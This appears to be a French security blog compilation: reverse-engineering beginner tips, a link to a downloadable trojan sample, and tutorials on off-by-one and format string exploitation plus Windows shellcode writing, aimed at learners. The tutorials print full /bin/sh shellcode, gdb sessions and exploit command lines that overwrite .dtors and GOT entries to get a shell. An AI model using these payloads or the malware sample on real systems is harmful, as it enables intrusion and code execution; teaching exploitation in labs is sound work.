    Python est nécessaire pour IDAPython. UPX est indispensable pour se simplifier la vie. Autoruns sert à monitorer toutes les entrées de démarrage, il est très utile en cas d’analyse de malwares. Kernel Detective est assez intéressant dans le cadre d’analyse de malwares se développant en ring0. OSRLoader sert à charger des drivers.


     

    RESSOURCES DE BASE POUR LE RE :

    Nous avons donc maintenant les outils requis, passons aux ressources de base. Ces ressources sont basées sur le nombre de fois qu’elles m’ont été demandé par des gens qui débutent, je pense donc qu’elles ont de l’intérêt ici.
     

    Où télécharger des outils :

    http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools : RCE_Tools
    http://tuts4you.com/download.php
     

    Débuter en Reverse engineering :

    http://www.forumcrack.com/web/deamonftp.free.fr/deamoncrack/ | En français
    http://forumcrack.com/web/Dynasty/ | En français
    http://tuts4you.com/download.php?list.17 | Vidéos, en anglais.
    http://opensecuritytraining.info/Training.html | Vidéos, en anglais
     

    Débuter avec OllyDbg :

    – Olly Beginner Tutorials Series par ARTeam | En anglais
     

    Débuter avec Ida Pro :

    http://woodmann.com/TiGa/idaseries.html | Vidéos, en anglais.
     

    Les antidebuggers :

    http://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide | En anglais
    http://pferrie.tripod.com/papers/unpackers.pdf | En anglais
     

    Débuter en ASM Win32 :

    http://asm.developpez.com/cours/noteworthy/ | En français
    http://xtx.free.fr/Cracking_Nostalgie/cours_cracking/cours_assembleur.htm | En français
    http://deamonftp.free.fr/deamoncrack/Pages/cours-asm.htm | En français
    http://xylirepo.free.fr/Reverse%20engineering/Iczelion%20ASM%20tuto%20%28FR%29/_index.html | En français
    http://xtx.free.fr/liens/tut/api/api.htm | En français
     

    Trouver des crackmes :

    http://crackmes.de/
    http://www.forumcrack.com/web/defisfc.free.fr/crackmes/
    http://www.reversing.be/index.php?topic=crackmes


     

    Je rajouterai :

    – Quand vous débutez, évitez les logiciels. Les protections sont bien souvent hors de votre portée, que ce soit au niveau unpacking ou keygenning. Préférez les crackmes, et n’hésitez pas à suivre des tutos en bidouillant à côté pour découvrir.

    – Bidouillez ! Au début, on nage dans le code, on est dépassé par ce que l’on voit, mais l’asm se lit ensuite couramment avec l’habitude. N’hésitez donc surtout pas à sortir Olly et à tenter des choses, vous avez tout à y gagner.

    – Quand vous keygenner un logiciel, prenez le problème depuis le haut en allant vers le bas. Je m’explique : rien ne sert de F7 chaque CALL pour essayer de voir ce qu’ils font et de se perdre dedans. Faites d’abord un aperçu avec F8, repérez les fonctions qui prennent des paramètres intéressants / renvoient des paramètres intéressants ; et au prochain tour seulement vous rentrerez dedans avec F7. Vous pouvez vite vous perdre à essayer de tout tracer et ne plus rien comprendre à la routine. Utilisez aussi toutes les ressources à votre disponibilité pour comprendre : les registres, la pile, les breakpoints de chaque forme. Le post de Lise_Grim que j’ai linké plus haut et à ce titre très intéressant car il explique comment réagir face à un programme.

    – IDA a l’air repoussant au premier abord, mais c’est une aide précieuse. Même si vous ne vous en servez pas pour l’analyse, je vous conseille de charger la cible dedans, d’appliquer les signatures adéquates et d’exporter un .map avec toutes les informations. Vous chargez ensuite ce .map dans OllyDbg avec le plugin GoDUP et ça vous évitera des maux de têtes à essayer de reconnaître des fonctions à l’oeil.

    – Evitez d’utiliser les unpackers et les ollyscripts, ça ne vous apportera rien. Le but c’est d’apprendre à unpacker / RE, pas de faire deux clics et d’éxécuter des scripts. Dans le même genre, on n’inverse pas les sauts : soit on les noppe, soit on les remplace par des JMP. Inverser un saut est une absurdité, si vous entrez un bon sérial vous aurez un message d’erreur. Une dernière chose : pas de patching à outrance. Le but c’est de comprendre le code, pas de le saccager salement.

    – Enfin, je vous conseille fortement d’utiliser une VM avec Windows XP pour tous vos travaux de reverse engineering. Il est en effet beaucoup plus simple de débugger sur une architecture 32 bits (moins de problèmes de compatibilité avec les tools comme olly, pas d’aslr / dep, etc.). Vous aurez en outre la possibilité de faire des snapshots afin de restaurer l’état de la machine à un état antérieur. La constitution d’une VM est indispensable pour tout ce qui touche au reversing de malwares. Vous pouvez utiliser VMWare Workstation ou VirtualBox afin de créer votre machine virtuelle.

    Ce rapide guide du débutant en est à la version 1.1, et est encore susceptible de connaître des mises à jour et des rajouts en fonction des suggestions (que j’encourage). (Au passage si un mod pouvait l’épingler je lui en serais reconnaissant à vie (à moins que ça ne soit pas juger nécessaire?))

    J’espère qu’il répondra aux attentes des débutants, et qu’ils prendront le temps de le lire avant de poser toujours les mêmes questions.

    Edit : v1.1. Merci à toutes les personnes m’ayant remonté des fautes ou conseillé des logiciels / sites à rajouter.

    Publié dans Reversing | Marqué avec , , | Laisser un commentaire

    Reversing d’un packer de malware

    Bonsoir,

    Je pense que vous vous souvenez de l’analyse du malware que je faisais ; par un jeu de circonstances je l’ai arrêté et je n’ai décidé que récemment de reprendre le tuto afin de lui donne une mise en forme correcte et de présenter ce maigre stuff aux yeux des gens, en espérant que quelques uns d’entre vous y trouvent un quelconque intérêt.

    Evidemment, comme j’ai écrit cela en début d’année quand je débutais encore en reversing de malware, ça ne va pas être très poussé ; mais j’y présente quelques techniques classiques que l’on retrouve dans certains vx et la majorité des packers de malwares qui pourraient intéresser les gens ne s’étant jamais vraiment penché sur ce genre de choses.

    Bref, trêve de blabla, tout est le reste est dans le pdf.
    Critiques bienvenues évidemment, positives ou négatives.

    Lien ici : https://www.re-xe.com/wp-content/uploads/2011/11/Tutoriel+n°12.pdf

    EDIT: https://www.re-xe.com/wp-content/uploads/2011/11/Trojan.Win32.OnlineGameHack.7z // Rajout du malware (pass : infected).

    Je terminerai par des remerciements pour ceux qui ont relu ce papier.
    Voilà, bonne nuit à tous.

    Publié dans Reversing | Marqué avec , , | 2 commentaires

    L’off-by-one

    Intro :

    L’off-by-one n’est pas un buffer overflow classique car le principe d’exploitation est totalement différent.
    Pour cet article nous allons utiliser ce code source vulnérable et désactiver l’aslr (sysctl -w kernel.randomize_va_space=0)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    #include <stdio.h>
    #include <string.h>

    #define limit 1024

    int     i;

    void    func(char *arg)
    {
      char  buffer[1024];

      for (i = 0; arg[i] != '\0' && i < limit; i++)
        {
          buffer[i] = arg[i];
        }
      if (strlen(arg) > limit)
        buffer[1024] = 0;
    }

    int     main(int argc, char *argv[])
    {
      if (argc != 2)
        {
          printf("%s <arg>\n", argv[0]);
          return (1);
        }
      func(argv[1]);
      return (0);
    }

    On compile :

    1
    gcc off-by-one.c -o off-by-one -mpreferred-stack-boundary=2

    Dans cette source, nous voyons bien que le null byte se trouve en dehors du buffer, ce qui permet de terminer la chaîne. Donc contrairement à un buffer overflow, nous n’avons pas écrasé directement EIP mais juste le dernier octet de EBP saved.

    Rappel sur les appels de fonction en C :

    En C lorsque l’on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l’epilog.
    Le prolog est appelé à l’entrée de la fonction (donc avant son exécution) et sert à préparer la pile pour son bon déroulement ; quand à l’epilog, il sert à restaurer la pile dans l’état où elle était avant son appel.

    Voici à quoi correspond un prolog :

    1
    2
    push ebp     ; Sauvegarde d'ebp.
    mov ebp,esp  ; Création du stack frame.

    Pour l’epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :

    1
    2
    leave
    ret

    Ou :

    1
    2
    3
    mov esp,ebp ; Destruction du stack frame.
    pop ebp     ; Restaure ebp.
    ret

    Le bug :

    On va utiliser GDB et poser des breakpoints à différents endroits pour surveiller la valeur des registres.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    gdb ./off-by-one
    (gdb) disass main
    ...
    End of assembler dump.
    (gdb) b * main+0
    Breakpoint 1 at 0x8048461
    (gdb) b * main+63
    Breakpoint 2 at 0x80484a0
    (gdb) disass func
    ...
    End of assembler dump.
    (gdb) b * func+0
    Breakpoint 3 at 0x80483f4
    (gdb) b * func+108
    Breakpoint 4 at 0x8048460

    On run le programme avec en argument pleins de ‘a’…

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    (gdb) r $(python -c 'print "a"*2048')
    Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "a"*2048')

    Breakpoint 1, 0x08048461 in main ()
    (gdb) p $ebp
    $1 = (void *) 0xbffff018
    (gdb) c
    Continuing.

    Breakpoint 3, 0x080483f4 in func ()
    (gdb) p $ebp
    $2 = (void *) 0xbfffef98 // ebp saved
    (gdb) c
    Continuing.

    Breakpoint 4, 0x08048460 in func ()
    (gdb) p $ebp
    $3 = (void *) 0xbfffef00 // ebp saved avec le dernier byte écrasé
    (gdb) x/2x 0xbfffef00
    0xbfffef00: 0x61616161  0x61616161
    (gdb) ni
    0x0804849a in main () // on se retrouve dans main()
    (gdb) p $ebp
    $4 = (void *) 0xbfffef00
    (gdb) c
    Continuing.

    Breakpoint 2, 0x080484a0 in main ()
    (gdb) x/2x $esp
    0xbfffef04: 0x61616161  0x61616161
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x61616161 in ?? ()

    Ici nous voyons clairement le bug, le dernier byte d’ebp saved a été écrasé par le caractère null qui termine la chaîne, au départ sa valeur était de 0xbfffef98 puis à la sortie de func() elle était de 0xbfffef00.
    Si on regarde ce qu’il y a à 0xbfffef00 on y voit nos ‘a’. Donc après l’epilog de func(), le haut de la pile pour main() contient nos ‘a’. Du coup, lors de l’epilog de main() cette fois, ebp va prendre comme valeur 0x61616161.
    C’est à l’instruction qui suit (au ret de main) donc à l’instruction pop eip que ça plante, apres avoir dépilé sur la stack la valeur de ebp donc si vous avez bien suivi 0x61616161. EIP va également prendre cette valeur, alors qu’aucune instruction ne se trouve à 0x61616161.

    Exploitation :

    Pour l’exploitation je vais utiliser un shellcode qui exécute /bin/sh dont voici les bytes :

    1
    "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

    GDB va encore me servir mais cette fois-ci pour trouver l’adresse où jumper :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    (gdb) r $(python -c 'print "aaaa" * 2048 + "\x90"*1024+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
    Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "aaaa" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

    Program received signal SIGSEGV, Segmentation fault.
    0x61616161 in ?? ()
    (gdb) x/10000x $esp
    ...
    0xbffff748: 0x90909090  0x90909090  0x90909090  0x90909090
    ...
    (gdb)

    Nous n’avons plus qu’à remplacer nos ‘a’ par cette adresse, et normalement ça devrait sauter en plein milieu de nos nops.

    1
    2
    ./off-by-one $(python -c 'print "\x48\xf7\xff\xbf" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
    $ exit

    On a bien obtenu le shell /bin/sh.

    C’est tout pour cet article, j’espère vous avoir éclaircit sur ce type d’exploitation 😉

    Publié dans Exploitation | Marqué avec | Laisser un commentaire

    Les format string bugs

    Les Format String Bugs

    0x01 – Intro

    Un format string bug peut se produire lorsque le programmeur passe à l’une des fonctions de la famille de printf une chaîne fournie par l’utilisateur.

    Cet utilisateur peut alors très bien fournir une chaîne de format, et c’est ici que se trouve le bug.
    Car si un « %x » se trouve dans cette chaîne et qu’aucun argument à printf n’est donné, alors printf prendra comme argument ce qui se trouve empilé sur la pile, il est donc possible de la lire avec plusieurs « %x ».

    rappel: %x affiche sous forme hexadécimal.

    Même si la fonction printf est dans la plupart des cas utilisée pour lire ou afficher une variable, elle est aussi capable d’y écrire, et cela se fait avec %n.

    Rappel : %n stock le nombre de caractères déjà écrits dans l’argument correspondant.

    Exemple de ces deux formats :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>

    int main(void)
    {
      char c = 'a';
      int i;

      printf("c = %c - %x\n", c, c);
      printf("1234%n\n", &i);
      printf("i = %d\n", i);
      return (0);
    }

    – On compile :

    1
    gcc fmt.c -o fmt

    – On run :

    1
    2
    3
    4
    ./fmt
    c = a - 61
    1234
    i = 4

    %x a fait printf le caractère ‘a’ en hexa qui correspond bien à 61 et %n a bien écrit dans i les 4 caractères affichés.


    0x02 – Exemple de lecture/écriture

    Ici nous allons voir comment changer la valeur d’une variable d’un programme grâce à un format string bug.

    Voici la source du programme utilisé :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include <stdio.h>
    #include <string.h>

    int var = 0;

    int main(int argc, char *argv[])
    {
      char buf[1024];

      if(argc != 2) {
        printf("Error: supply a format string.\n");
        return 1;
      }
      strncpy(buf, argv[1], 1023);
      buf[1024] = 0;
      printf(buf);
      printf("\n\nvar  = %d - %x (%p)\n", var, var, &var);
      return (0);
    }

    – On compile :

    1
    gcc fmtbug.c -o fmtbug

    Pour commencer il nous faut connaître la position de buf sur la pile, on y parvient en dépilant (avec %x) les valeurs de la stack :

    1
    2
    (for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./fmtbug "ABCD%${val}\$x" ; done) | grep 44434241
    val = 5 - ABCD44434241

    Nous voyons que le début de notre buf se trouve en cinquième position, vérifions :

    1
    2
    3
    4
    ./fmtbug 'ABCD%5$x'
    ABCD44434241

    var  = 0 - 0 (0x8049680)

    Nous tombons bien sur notre string.

    Maintenant nous allons changer la valeur de var qui est de type int, le programme de démonstration affiche son adresse donc nous n’avons pas besoin de la chercher, chez moi l’adresse de var est : 0x8049680

    Il faut donc écrire avec %n à cette adresse :

    1
    2
    3
    4
    ./fmtbug `python -c 'print "\x80\x96\x04\x08%5$n"'`
    ...
    ...
    var  = 4 - 4 (0x8049680)

    La valeur de la variable var à changer est 4 car nous avons affichés 4 caractères (\x80 + \x96 + \x04 + \x08). Mais nous pouvons très bien lui donner comme valeur 500 par exemple :

    1
    2
    3
    4
    ./fmtbug `python -c 'print "\x80\x96\x04\x08%496x%5$n"'`
    ...
    ...
    var  = 500 - 1f4 (0x8049680)

    Nous savons maintenant donner une valeur à une variable, voyons alors comment lui donner une adresse :
    Pour l’exemple on va donner à la variable « var » la valeur 0xdeadbeef.

    Il y a deux façons d’y parvenir :
    – Ecrire octet par octet* en commençant par ceux de poids fort.
    – Ecrire word par word* toujours en commençant par celui de poids faible.

    *Octet par octet : c’est à dire écraser ces 4 adresses : 0x8049680 0x8049680+1 0x8049680+2 0x8049680+3

    Comme vu plus haut, nous devons commencer par les octets de poids faible pour 0xdeadbeef et utiliser le spécificateur %hhn.

    1
    2
    3
    4
    5
    6
    7
    8
    >>> 0xde
    222
    >>> 0xad
    173
    >>> 0xbe
    190
    >>> 0xef
    239

    En premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.
    Pour le premier byte (0xad), vu que 4 *4 octets sont déjà placés, c’est à dire nos adresses : « \x80\x96\x04\x08″+ »\x81\x96\x04\x08″+ »\x82\x96\x04\x08″+ »\x83\x96\x04\x08 », il faut en tenir compte :

    0xad – (4*4) = 157
    0xbe – 0xad = 17
    0xde – 0xbe = 32
    0xef – 0xde = 17

    – Pour l’ordre d’écrasement :
    adresse+0: 0xef
    adresse+1: 0xbe
    adresse+2: 0xad
    adresse+3: 0xde

    Voici notre exploit :

    1
    2
    3
    4
    ./fmtbug $(python -c 'print "\x80\x96\x04\x08"+"\x81\x96\x04\x08" + "\x82\x96\x04\x08" + "\x83\x96\x04\x08" + "%157c%7$hhn" + "%17c%6$hhn" + "%32c%8$hhn" + "%17c%5$hhn"')
    ...
    ...
    var  = -559038737 - deadbeef (0x8049680)

    *Word par word
    En le faisant word par word même principe : le word qui pèse le moins d’abord, suivis de l’autre. Mais nous n’écraserons que deux adresses : 0x8049680 et 0x8049680+2 avec le spécificateur %hn.

    1
    2
    3
    4
    >>> 0xdead
    57005
    >>> 0xbeef
    48879

    Pour le premier word (0xbeef) 2 adresses sont déjà affichées, donc 0xbeef – (4*2) soit 48871 qui sera à adresse+0 et pour le second 0xdead – 0xbeef = 8126 qui sera à adresse+2.

    L’exploit :

    1
    2
    3
    4
    ./fmtbug $(python -c 'print "\x80\x96\x04\x08" + "\x82\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
    ...
    ...
    var  = -559038737 - deadbeef (0x8049680)

    0x03 – Exploitation

    Je vais démontrer ici deux types d’exploitations (les plus connues) : format string bug avec shellcode.

    *DTORS – Destructors
    .dtors est une section créée par le compilateur GCC qui sert comme destructeur. La section utilisée comme constructeur est appelée .ctors. La section .dtors est une table de fonctions qui sont appelées juste après la sortie de main(). Voici à quoi ressemble la section .dtors pour notre programme fmtbug :

    1
    2
    3
    4
    5
    6
    objdump -s -j .dtors ./fmtbug

    ./fmtbug:     file format elf32-i386

    Contents of section .dtors:
     8049570 ffffffff 00000000                    ........

    La section .dtors est accessible en écriture, nous comprenons tout de suite qu’il est donc possible d’écraser une adresse contenue dans .dtors par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de .dtors. Cette dernière adresse peut être trouvée grâce au tool « nm ».

    1
    2
    3
    nm ./fmtbug | grep DTOR
    08049574 d __DTOR_END__
    08049570 d __DTOR_LIST__

    __DTOR_LIST__ représente le début de la section et __DTOR_END__ la fin. Il nous faut donc écraser l’adresse de __DTOR_END__, soit 0x08049574. Pour commencer, nous allons détourner le flux d’exécution de format bug pour le faire sauter sur 0xdeadbeef afin d’obtenir un segfault.

    1
    ulimit -c unlimited
    1
    2
    3
    4
    ./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
    ...
    ...
    Erreur de segmentation (core dumped)
    1
    2
    3
    4
    gdb -c core
    Program terminated with signal 11, Segmentation fault.
    #0  0xdeadbeef in ?? ()
    (gdb)

    Maintenant que nous arrivons à détourner le flux du programme, il faudrait qu’il puisse jump sur un shellcode, c’est ce que nous allons voir. Dans cet exemple, le shellcode sera dans une variable d’environnement :

    1
    export EGG=$(python -c 'print "\x90" * 2048 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

    Pour trouver l’adresse sur laquelle jumper nous allons utiliser GDB, reprendre l’exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0x90.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    gdb ./fmtbug

    (gdb) r $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
    ...
    ...
    Program received signal SIGSEGV, Segmentation fault.
    0xdeadbeef in ?? ()

    (gdb) x/500x $esp
    ...
    ...
    0xbffff2fc: 0x90909090  0x90909090  0x90909090  0x90909090

    Je vais donc prendre cette adresse (0xbffff2fc) pour que l’on saute dans les NOPs pour finir par exécuter le shellcode :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    >>> 0xbfff
    49151
    >>> 0xf2fc
    62204
    >>> 0xbfff - (4*2)
    49143
    >>> 0xf2fc - 0xbfff
    13053
    >>>
    1
    2
    3
    4
    5
    6
    ./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%49143u%6$hn" + "%13053u%5$hn"')
    ...
    ...
    var  = 0 - 0 (0x8049680)
    $ exit
    user@distro:~/fmtbug$

    Et voila \o/ le shellcode a bien été exécuté 😉

    *GOT – Global Offset Table
    Cette table contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à objdump :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    objdump -R ./fmtbug

    ./fmtbug:     file format elf32-i386

    DYNAMIC RELOCATION RECORDS
    OFFSET   TYPE              VALUE
    0804964c R_386_GLOB_DAT    __gmon_start__
    0804965c R_386_JUMP_SLOT   __gmon_start__
    08049660 R_386_JUMP_SLOT   strncpy
    08049664 R_386_JUMP_SLOT   __libc_start_main
    08049668 R_386_JUMP_SLOT   printf
    0804966c R_386_JUMP_SLOT   puts

    Nous devons alors savoir laquelle de ces fonctions est appeleé après notre printf vulnérable. Pour voir cela, nous allons utiliser GDB.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    gdb ./fmtbug
    (gdb) set disassembly-flavor intel
    (gdb) disass main
    Dump of assembler code for function main:
    0x080483d4 <main+0>:    push   ebp
    0x080483d5 <main+1>:    mov    ebp,esp
    0x080483d7 <main+3>:    sub    esp,0x414
    0x080483dd <main+9>:    cmp    DWORD PTR [ebp+0x8],0x2
    0x080483e1 <main+13>:   je     0x80483fb <main+39>
    0x080483e3 <main+15>:   mov    DWORD PTR [esp],0x804852c
    0x080483ea <main+22>:   call   0x8048340 <puts@plt>
    0x080483ef <main+27>:   mov    DWORD PTR [ebp-0x404],0x1
    0x080483f9 <main+37>:   jmp    0x8048460 <main+140>
    0x080483fb <main+39>:   mov    eax,DWORD PTR [ebp+0xc]
    0x080483fe <main+42>:   add    eax,0x4
    0x08048401 <main+45>:   mov    eax,DWORD PTR [eax]
    0x08048403 <main+47>:   mov    DWORD PTR [esp+0x8],0x3ff
    0x0804840b <main+55>:   mov    DWORD PTR [esp+0x4],eax
    0x0804840f <main+59>:   lea    eax,[ebp-0x400]
    0x08048415 <main+65>:   mov    DWORD PTR [esp],eax
    0x08048418 <main+68>:   call   0x8048310 <strncpy@plt>
    0x0804841d <main+73>:   mov    BYTE PTR [ebp+0x0],0x0
    0x08048421 <main+77>:   lea    eax,[ebp-0x400]
    0x08048427 <main+83>:   mov    DWORD PTR [esp],eax
    0x0804842a <main+86>:   call   0x8048330 <printf@plt>
    0x0804842f <main+91>:   mov    eax,ds:0x8049680
    0x08048434 <main+96>:   mov    edx,DWORD PTR ds:0x8049680
    0x0804843a <main+102>:  mov    DWORD PTR [esp+0xc],0x8049680
    0x08048442 <main+110>:  mov    DWORD PTR [esp+0x8],eax
    0x08048446 <main+114>:  mov    DWORD PTR [esp+0x4],edx
    0x0804844a <main+118>:  mov    DWORD PTR [esp],0x804854b
    0x08048451 <main+125>:  call   0x8048330 <printf@plt>
    0x08048456 <main+130>:  mov    DWORD PTR [ebp-0x404],0x0
    0x08048460 <main+140>:  mov    eax,DWORD PTR [ebp-0x404]
    0x08048466 <main+146>:  leave  
    0x08048467 <main+147>:  ret    
    End of assembler dump.
    (gdb)

    Nous voyons qu’après le printf vulnérable (qui se trouve à l’adresse 0x0804842a), c’est encore un printf qui est appelé, il faut donc le remplacer. Si nous regardons la sortie d’objdump nous voyons que printf se trouve à 0x08049668. Pour cet exemple nous n’allons pas utiliser de variable d’environnement pour stocker notre shellcode, nous allons le passer en même temps dans la format string mais il nous faut son adresse, encore une fois je vais utiliser GDB.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    gdb ./fmtbug

    (gdb) r $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

    Program received signal SIGSEGV, Segmentation fault.
    0xdeadbeef in ?? ()

    (gdb) x/100x $esp
    ...
    ...
    0xbffff270: 0x90909090  0x90909090  0x90909090  0x90909090
    ...

    Je vais donc écraser l’adresse de printf qui est à 0x08049668 par 0xbffff270 où se trouvent nos NOPs.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    >>> 0xbfff
    49151
    >>> 0xf270
    62064
    >>> 0xbfff - (4*2)
    49143
    >>> 0xf270 - 0xbfff
    12913
    >>>

    On a maintenant tout ce qu’il nous faut, exploitons-le :

    1
    2
    3
    4
    ./fmtbug $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%49143u%6$hn" + "%12913u%5$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
    ...
    ����$ exit
    user@distro:~/fmtbug$

    W00t, on obtient bien un shell (on le voit avec le ‘$’).

    C’est tout pour cet article, j’espère vous avoir éclairci sur les exploitations de type format string.

    Publié dans Exploitation | Marqué avec , , | 4 commentaires

    Les shellcodes x86 sur Windows seven :

    Un shellcode est un code arbitraire injecté dans la mémoire comme par exemple dans le cas d’un buffer overflow permettant de faire ce que l’on veut sur le pc de la victime, on les appelle shellcode car ce type de code est souvent utilisé pour obtenir un shell ou une invite de commande pour prendre le contrôle total du pc distant. Les shellcodes sont constitués d’une suite d’instructions assembleur et peuvent donc faire tout ce que l’on souhaite.

    L’écriture de shellcodes Windows nécessite de connaître les API Windows, de savoir dans quelle dll une fonction que l’on souhaite utiliser se trouve, de charger cette dll puis d’appeler directement l’adresse de la fonction.

    Il faut savoir qu’un shellcode ne doit pas contenir de null byte ou octet nul en français, c’est à dire le caractère de terminaison d’une string en C, car dans un exploit, le shellcode est placé dans un tableau de char afin d’être comme je le disais : injecté, donc si un null byte se trouve dans cette chaîne, votre shellcode ne sera pas entièrement copié dans le buffer et ne pourra donc fonctionner normalement.

     

    Shellcode statique :

    Dans un premier temps on va créer un shellcode statique c’est à dire qui ne fonctionnera plus lorsque vous aurez rebooté votre seven et ceci à cause de l’aslr (Address Space Layout Randomization) introduit sur les OS de microsoft depuis la sortie de vista. Notre shellcode sera tout simple, il affichera une MessageBox avec un titre et un message, puis quittera.

    On a donc besoin de l’adresse effective de LoadLibraryA qui se trouve dans kernel32.dll pour charger user32.dll, de l’adresse effective de MessageBoxA contenue dans cette dernière et de ExitProcess qui se trouve également dans kernel32.dll, qui elle est toujours chargée.

    Voici les prototypes de nos fonctions :

    1
    2
    3
    HMODULE WINAPI LoadLibraryA(
    __in LPCTSTR lpFileName
    );


     

    1
    2
    3
    4
    5
    6
    int WINAPI MessageBoxA(
    __in_opt HWND hWnd,
    __in_opt LPCTSTR lpText,
    __in_opt LPCTSTR lpCaption,
    __in UINT uType
    );


     

    1
    2
    3
    VOID WINAPI ExitProcess(
    __in UINT uExitCode
    );


     

    Pour trouver ces adresses je vais utiliser mon tool : ListExportedFunctions. Mais vous pouvez utiliser les /fonctions LoadLibrary() et GetProcAddress() pour les obtenir.

    On obtient l’adresse 0x76F74BC6 pour LoadLibraryA, 0x7782FEAE pour MessageBoxA et 0x76F7734E pour ExitProcess.

    En ce qui concerne les strings dont nous avons besoin pour nos fonctions, sachant que dans un shellcode on ne peut utiliser la section réservée aux données, celle nommée « .data », nous utiliserons une technique se servant des instructions jmp, call et pop, pour obtenir un pointeur vers chacune de nos strings.

    Voici un exemple de cette technique :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    .386
    .model flat, stdcall

    option casemap:none

    .code

    start:

    jmp getString

    getStringReturn:
    pop ecx

    getString:
    call getStringReturn
    db "hello world",0

    end start


     

    Le registre ecx contient maintenant un pointeur vers notre string « hello world ». Mais il y a un problème : cette string crée un null byte et comme dit plus haut, un shellcode ne doit pas en contenir.
    Pour y remédier, nous allons utiliser un autre registre, le mettre à 0 avec l’instruction xor, ajouter un caractère à la fin de notre string, puis écraser ce caractère par le byte de poids faible de ce dernier registre. Avec cette technique, notre string sera bien terminée par un zéro mais sans null byte.

    Exemple :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    .386
    .model flat, stdcall

    option casemap:none

    .code

    start:

    xor ebx,ebx ; On met ebx à zéro.
    jmp getString

    getStringReturn:
    pop ecx
    mov [ecx+11],bl ; On écrase le '#' par bl, donc zéro.

    getString:
    call getStringReturn
    db "hello world#"

    end start


     

    Voici donc maintenant notre shellcode au complet :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
